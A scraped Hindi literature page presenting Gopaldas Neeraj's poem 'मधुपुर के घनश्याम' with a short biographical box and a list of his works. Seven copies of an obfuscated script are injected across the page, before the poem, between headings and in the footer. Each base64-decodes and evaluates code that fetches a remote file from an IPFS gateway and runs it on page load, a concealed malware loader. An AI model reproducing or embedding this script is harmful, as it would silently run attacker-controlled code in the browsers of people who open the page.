मधुपुर के घनश्याम -गोपालदास नीरज

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
मधुपुर के घनश्याम -गोपालदास नीरज
गोपालदास नीरज
कवि गोपालदास नीरज
जन्म 4 जनवरी, 1925
मुख्य रचनाएँ दर्द दिया है, प्राण गीत, आसावरी, गीत जो गाए नहीं, बादर बरस गयो, दो गीत, नदी किनारे, नीरज की पाती, लहर पुकारे, मुक्तकी, गीत-अगीत, विभावरी, संघर्ष, अंतरध्वनी, बादलों से सलाम लेता हूँ, कुछ दोहे नीरज के
इन्हें भी देखें कवि सूची, साहित्यकार सूची
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गोपालदास नीरज की रचनाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

मधुपुर के घनश्याम अगर कुछ पूछें हाल दुखी गोकुल का
उनसे कहना पथिक कि अब तक उनकी याद हमें आती है।

बालापन की प्रीति भुलाकर
वे तो हुए महल के वासी,
जपते उनका नाम यहाँ हम
यौवन में बनकर संन्यासी

सावन बिना मल्हार बीतता, फागुन बिना फाग कट जाता,
जो भी रितु आती है बृज में वह बस आँसू ही लाती है।

मधुपुर के घनश्याम...
बिना दिये की दीवट जैसा
सूना लगे डगर का मेला,
सुलगे जैसे गीली लकड़ी
सुलगे प्राण साँझ की बेला,

धूप न भाए छाँह न भाए, हँसी-खुशी कुछ नहीं सुहाए,
अर्थी जैसे गुज़रे पथ से ऐसे आयु कटी जाती है।

मधुपुर के घनश्याम...
पछुआ बन लौटी पुरवाई,
टिहू-टिहू कर उठी टिटहरी,
पर न सिराई तनिक हमारे,
जीवन की जलती दोपहरी,

घर बैठूँ तो चैन न आए, बाहर जाऊँ भीड़ सताए,
इतना रोग बढ़ा है ऊधो ! कोई दवा न लग पाती है।

मधुपुर के घनश्याम...
लुट जाए बारात कि जैसे...
लुटी-लुटी है हर अभिलाषा,
थका-थका तन, बुझा-बुझा मन,
मरुथल बीच पथिक ज्यों प्यासा,

दिन कटता दुर्गम पहाड़-सा जनम कैद-सी रात गुज़रती,
जीवन वहाँ रुका है आते जहाँ ख़ुशी हर शरमाती है।

मधुपुर के घनश्याम...
क़लम तोड़ते बचपन बीता,
पाती लिखते गई जवानी,
लेकिन पूरी हुई न अब तक,
दो आखर की प्रेम-कहानी,

और न बिसराओ-तरसाओ, जो भी हो उत्तर भिजवाओ,
स्याही की हर बूँद कि अब शोणित की बूँद बनी जाती है।

मधुपुर के घनश्याम...

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>